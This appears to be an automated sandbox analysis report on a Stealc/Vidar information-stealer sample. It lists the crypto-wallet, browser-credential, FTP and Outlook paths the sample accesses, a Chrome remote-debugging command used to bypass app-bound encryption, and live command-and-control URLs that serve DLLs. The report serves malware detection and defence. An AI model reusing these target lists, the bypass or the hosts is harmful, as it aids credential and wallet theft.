Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2609368530.0000000000BF4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 1436, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2609368530.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2078634280.0000000005130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2610315504.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1436, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1436, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	651 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/mozglue.dll3	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpsk	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe1	0%	Avira URL Cloud	safe
http://31.41.244.11//Zu7JuNko/index.phph	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/mozglue.dllA	100%	Avira URL Cloud	malware
http://185.215.113.206o	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe5062384y	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phprograms	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phppuE	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dll_	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/freebl3.dllm	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllL	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mira-tmc.tm-4.office.com	52.123.243.184	true	false	high
s-part-0012.t-0009.t-msedge.net	13.107.246.40	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.57	true	false	high
www.google.com	142.250.181.68	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://sb.scorecardresearch.com/b2?rn=1732540483020&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=331C9059D5CC671123A1851BD4CD6669&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732540489769&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732540483018&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732540488866&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732540488870&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
